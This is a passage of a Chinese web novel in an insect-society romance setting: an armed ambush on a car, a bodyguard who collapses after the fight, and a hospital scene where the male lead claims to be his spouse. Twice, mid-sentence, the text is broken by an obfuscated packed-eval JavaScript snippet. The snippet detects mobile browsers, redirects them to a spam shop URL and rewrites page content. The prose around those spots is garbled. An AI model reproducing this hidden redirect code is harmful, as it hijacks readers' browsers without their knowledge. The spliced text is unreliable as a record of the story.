赫伯特情绪很平静地回答:“左右不过是跟踪、劫持、谋杀。” 这几个词听起来犯罪浓度就很高,和雄虫阁下扯上关联就更是重罪中的重罪,妥妥的死刑的预备役。更诡异的是,赫伯特说起这些颇为云淡风轻,毫不在意。 阿苏纳皱眉:“怎么会有虫敢这样做?难道他们是混进来的星盗?” 赫伯特笑了起来:“未必是星盗。”他收了笑意,眼中全然是森冷和阴鸷,带着戾气锐利如刀,“无非是利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064710|195115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 益驱动,当能得到的利益远超风险,就总会出几个不要命的虫。” 感知到阿苏纳的目光转向他,赫伯特神色立刻又恢复了正常,甚至有心思嘴角带笑地和阿苏纳开玩笑:“我只是雄虫,又不是所有虫的雄主,总不见得让所有虫都能为了我在巨大的利益面前仍坚定不动摇。” 阿苏纳却认真地对赫伯特说:“阁下,您放心,虽然您可能还不能完全信任我,但我不会背叛您。” 赫伯特挑眉,快速用外族语言说了一句:“嗯,%¥@&#*%$#^%(是因为我是你以后的雄主吗)。” “咳咳咳,咳咳。”前排的助理突然被口水呛住,爆发出剧烈的咳嗽。 阿苏纳的注意力立刻被转移,将车上准备的水递给助理:“你没事吧?还好吗?” 助理喝了口水后压下咳嗽,从后视镜中触及到赫伯特眼中的冷光后,心肝颤颤,连忙道歉:“没事,我没事,不好意思,阿苏纳先生请您不要在意我,您专心和阁下说话就好。” 阿苏纳坐回原位,抱歉地问赫伯特:“阁下,您刚才说什么?” 赫伯特弯了弯嘴角,一本正经地解释:“是我在关于罗卡西地区的影视作品里听到的一句话,好像是我绝对信任你的意思。不过看的时间太久了,其实也记不太清楚了。” “总之,”赫伯特盯着阿苏纳的眼睛,目光幽深,“我会信任你,阿苏纳。” 赫伯特的眼睛深邃,深色的眼眸如同宇宙黑洞生出的漩涡,仿佛将周边所有的光都强行吸了进去,蛊惑而又危险。 出于礼貌,阿苏纳之前并没有仔细观察过赫伯特的样貌,但现在他们两个的距离是如此之近,近到阿苏纳可以看清赫伯特眼睑下根根分明的睫毛和高挺起结的鼻梁,他也无可避免地视线撞进了赫伯特的眼中。 他仿佛真的从那双眼睛中,看出了对他的无限信赖。 很久没有虫愿意这样信任他了。 也,很久没有虫这样注视着他。 “阁下……” “嘭”! 阿苏纳正要开口,前方就是一声巨响,随后是劈里啪啦石子沙砾溅射的声音。 司机紧急刹车,阿苏纳立刻反应过来伸手护住了身侧的赫伯特。 随即数声枪响,车身一晃,一边的轮胎被打爆了。 阿苏纳快速解开自己和赫伯特的安全带,将赫伯特拽向一边让他趴倒在座位上。 浓密的烟尘散开遮挡住了视线,隐约中能看到前后有身影晃动。 前后车辆的保镖迅速持枪下车,将赫伯特所在的车子护了起来。 真实的枪战不是电影,没有开打前的喊话和拉扯。在猝不及防中,双方已经有虫中弹倒下,发出并不明显的闷声。 子弹时不时击中或者擦过车子,好在车的防弹质量确实没有偷工减料,子弹只在上边打出了浅褐色的烧灼痕迹。 助理一头冷汗,在联系过正赶来的虫后,向赫伯特报告:“阁下,支援的虫最快还要五分钟。” 而现在,保镖一个个倒下,对面正在快速缩小包围圈。 21. 第 21 章 保镖们都是特别选拔出来的,战斗力远胜普通虫。然而这次对方有备而来,实力并不比保镖们差到哪去,甚至数量上更占优。 局势正快速倾向对他们不利的方向,坐在前排的司机和助理已经将枪上膛,紧张地盯着外边的局势。 他们两个是雄虫阁下身边最后的保护力量,轻易不会下场,但现在,局势愈加紧迫,他们浑身的肌肉也愈加紧绷,时刻做好了冲出去的准备。 连助理和司机都能看得出情况不乐观,更别提阿苏纳。他接受过完整的军事教育,自然也能轻易判断出现状。 看了眼光脑上的时间,距离助理刚刚说的五分钟仅仅才过去两分钟,还不到一半。这样下去,单靠外面的保镖怕是撑不到救援的到来。 阿苏纳抿了抿嘴唇,将枪上膛,快速对赫伯特说:“阁下,请您在这趴好,不要随意起身。” 赫伯特眼疾手快地拉住阿苏纳:“等等,你别出去。你不是我的雇员,没有责任为我拼命。” 阿苏纳摇了摇头:“抱歉阁下,为了您的安全我必须出去。” 他顿了顿,又快速说:“我之前给阿瑞斯助理留过一个地址,如果我死了,请您派虫在月底前将那个房子里剩下的东西都处理掉,大门密码是八个8。” 说完,他就挣开赫伯特的手,打开车门跳了出去。 “你!”赫伯特气急,却再来不及阻止阿苏纳。对于他来说,外面那群虫加起来也没有一个阿苏纳重要。 赫伯特叹了口气,对助理和司机说:“你们两个也出去吧。” “是!”两个虫没有半分迟疑,干脆利落地打开车门跳了出去。 车上就剩赫伯特一个,整个车如同一个堡垒,而外面的保镖、司机、助理、包括阿苏纳,都在拼死守护这里。 枪声未曾有停下,甚至随着时间的推移愈发密集。 对面的虫也清楚,现在打的就是时间战,就看是他们先消灭完这群保镖,还是赫伯特的救援先赶到。 车窗上擦过的弹痕越来越多,赫伯特心中没有惧怕,反倒是怒火滔天。 这样的袭击他经历过许多,不独独这一次,如果上天要让他死,他早就死八百回了。 但现在阿苏纳也在外边,也有极大几率被命中要害。阿苏纳的出现是偶然,他不知道如果这次阿苏纳出事,下一个“阿苏纳”什么时候才又会出现。 “靠!”他用手猛锤了一下车座。 他发誓但凡他能活着回去,他要把这次袭击的幕后主使统统揪出来,挫骨扬灰! 统统都给他去死! 在赫伯特的怒气达到极点前,也在外面的防守被攻破前,天空终于出现了低空飞行器的声音。同时助理的光脑上也收到了提示信息,救援终于赶到了! 不是警方,而是索斯福亚集团的安保团队。 密集的火力扫射瞬间将对面压倒,空地实力悬殊,打得对方毫无还手之力。几乎是刚一照面,对面的虫就倒下去了大半。 不到半分钟,战斗结束。 车门被拉开,赫伯特顺着照进来的光亮抬眼,正好与阿苏纳充满急切和关心的目光撞上。 清晨柔和的光线照亮了阿苏纳的脸,他的脸颊上有几道浅浅的血痕,看起来是被碎弹片或飞溅的石砾划破的。尽管已经安全了,但他的面色仍旧苍白,尤其是嘴唇,毫无血色。 他浑身带着硝烟和血腥气,一手拉开车门,一手撑在车子顶部边缘。 他露出了一个勉强的笑容,声音很轻地问赫伯特:“阁下,您还好吗?” 赫伯特给与了肯定的回答:“我没事,你呢?” 阿苏纳的手松开了车门,呼出一口气,明显放松了下来:“您没事就……” 话没说完,他就栽倒了下去。 赫伯特一惊,伸手去接,却只够到了衣角。 阿苏纳凭着最后的意识,没有朝着赫伯特倒向车内,而是向后踉跄了一下撞在半开的车门上,才彻底失去意识滑落在地。 “阿苏纳?!” 赫伯特立刻跳下车去查看阿苏纳的情况,站在不远处、因为知道赫伯特心思所以特意没有第一时间上前的助理也赶忙过来,帮赫伯特把阿苏纳的上半身从地上扶起。 赫伯特对助理说:“你查看一下他哪受伤了。” “是。”助理没废话,立刻小心翼翼翻动阿苏纳的身体,上上下下摸了一遍,回答:“阁下,阿苏纳先生只有手臂擦伤,流了不少血,但已经被他自己简单处理过了。” 按理说,这样的伤势不至于昏迷。赫伯特皱眉:“难道是严重贫血了?” 助理想了想,说:“我之前观察到阿苏纳先生对战实力强劲,似乎对敌方行动有极高的预判,基本弹无虚发,如果没有极高的精神力辅助很难做到这一点。他又有精神力方面的病症,会不会是这次动用精神力导致出了什么问题?” 如果是这样,那就糟糕了。 赫伯特心中一紧,指挥助理:“带他上飞行器,去医院。” 时间紧迫,助理抱起阿苏纳就往飞行器上跑,赫伯特也快步跟了上去。 原本在旁边等着上前向雄虫阁下汇报的集团安保队长傻了眼,雄虫阁下和阁下的助理都走了,那他这是跟还是不跟? 他环顾四周,一片狼藉的烂摊子还没收拾。没办法,他只能对脚步匆匆地赫伯特喊:“阁下,那我就留在这收尾了?” 回应他的是赫伯特头也不回的摆摆手。 “呼。”安保队长松了口气,开始指挥留在袭击现场的手下处理后续,该抓的抓,该带走审问的带走,该急救的急救,该抬走的抬走。 直到雄虫阁下早都走得没影了,警方的救援部队才赶到。 警方的负责虫着急忙慌地跑过来,大声喊着:“阁下呢?阁下在哪?阁下怎么样了?” 安保队长无语:“阁下不在这,早就去医院了,你……”他上下打量了对方一眼,坏心眼地说:“你还是担心一下雄保会什么时候去找你吧。” 他故意没说被送去医治的只是雌虫,果然被这个虫误以为是雄虫阁下受伤了,瞬间脸色苍白,摇摇欲坠。 见此一幕,安保队长心满意足地咧嘴笑了笑。 在警方负责虫忐忑不安的时候,飞行器顺利停靠在了医院顶楼。早就联系好的医护等在外边,飞行器的门一开,就立刻一拥而上把阿苏纳抬到转运床上推走了。 赫伯特带着助理快步跟上,却被拦在了急救检查室外。 这是医院的铁规距,即使是雄虫阁下也不能破例进去,除非是仗着身份硬闯,那就没办法了。赫伯特还不至于在医院无理取闹,只能坐在外边的长椅上寸步不离地等着。 他现在的心情糟糕透了。早知道会这样,他之前就应该仅仅抓住阿苏纳的手腕不让他离开。 助理也受伤了,不严重,但皮肉破开流血了。只不过他属于是那种典型的雌虫体质,抗造,恢复得快,这点伤根本不影响他行动。 他生怕自己养伤养病离开的时候会被其他虫顶替掉自己在赫伯特身边的位置,所以从来都是硬挺着,有事也会装出一副没事虫的样子,看得赫伯特心烦,朝他摆了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064711|195115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆手:“你也先去把伤口处理了。” 助理只好暂时离开。 清晨的医院并不安静。有的患者半夜被急送过来,现在才抢救活。有的患者好不容易挤了一天假出来大早上就直奔医院,生怕一天的时间看病不够。还有的则是在哭丧,无法接受熟悉的虫离去,哭得像要断气了一样。 明明是熙熙攘攘,吵吵闹闹,但赫伯特抱着手臂坐在外边的走廊上却感觉心里冷得很。 在阿苏纳晕倒的刹那,他的心仿若琴弦被绷断,“铮”一声,巨大的恐慌随之涌上,感觉心脏都被吓得有一瞬间骤停了。 阿苏纳已经对他这么重要了吗? 赫伯特有些茫然。 他清楚地知道,他最初对阿苏纳的兴趣无非是被那丁点的特殊撩拨,说是一见钟情过于自欺欺虫,更真实点的说法应该是见色起意。所以他能坦然接受自己“色迷心窍”,做出违反自己常态的决定,他放弃了那些阴暗的、可以彻底掌控阿苏纳的计划。 他以为自己只是对阿苏纳多了些耐心,但是当阿苏纳可能真的会有生命危险,他真的有可能会见不到这个虫,也再得不到这个虫时,他内心的慌恐又做不得假。 为什么会这样? 什么时候变成了这样? 他原来还会这样紧张在意一个虫?一个认识还没有多久的虫? 他心脏的怦怦作响,难道是那93%的基因匹配度在作祟吗?可是他的真情实感呢?这些难道也都不是真实的吗? 这一切来得太过莫名其妙,他努力追溯源头,追溯缘由,却苦苦找不到答案。 不知所起,不知所终,不知缘由。 助理处理完伤口,默默站回了他的身边。 他是高高在上的雄虫阁下,是执掌无数员工前途命运的集团掌舵者,但他依旧有自己无法掌控的东西。是阿苏纳的心,也是他自己的心。 急救检查室的门打开了,赫伯特中断了思绪,立刻起身上前。医生从里面出来,但却不见阿苏纳被推出来。 赫伯特皱着眉往里边瞅:“阿苏纳呢?他出什么问题了?” 医生连忙解释:“阁下,阿苏纳先生没事,只是还在昏迷,几分钟前已经被推到病房了。” 赫伯特的目光挑向医生,满眼怀疑。 医生自觉解释:“是这样的,患者进出是两条流线,这种管理方式更加高效便捷,且动态清晰。” 赫伯特对医院的管理细节没兴趣,转身就要走,却又被医生叫住。 在赫伯特不耐烦的目光下,医生还是忐忑地壮着胆子开口:“请问,您应该就是阿苏纳先生的雄主吧?” 赫伯特愣住,下意识反问:“什么?什么雄主?” 医生也懵了,磕磕巴巴地解释:“虽然这位阿苏纳先生没有戴戒指,但从医院这边能看到的身份信息上显示,他确实是已婚。您、难道不是他的雄主吗?” 一般来说,雌虫婚后会收到雄主送的戒指并始终戴在手上,即使是再不受宠的雌虫也总能有一枚雄主送的戒指,哪怕那枚戒指极其简陋廉价。 医生其实也很奇怪,怎么这位阿苏纳先生已婚却没有戴戒指,尤其他还是被雄虫阁下亲自送来医院的。要知道,正常情况雄虫都不可能亲自做这些,往往都是派雌君或是其他雌侍来处理。而能被雄虫阁下亲自陪着的,都是极其受宠的雌虫。 医生话中的信息已经很明确了,赫伯特的脸色极差,突兀地发出短促的一声笑。 他的眼神幽深不见底,一字一顿地对医生说:“你猜的没错,我是阿苏纳的雄主。”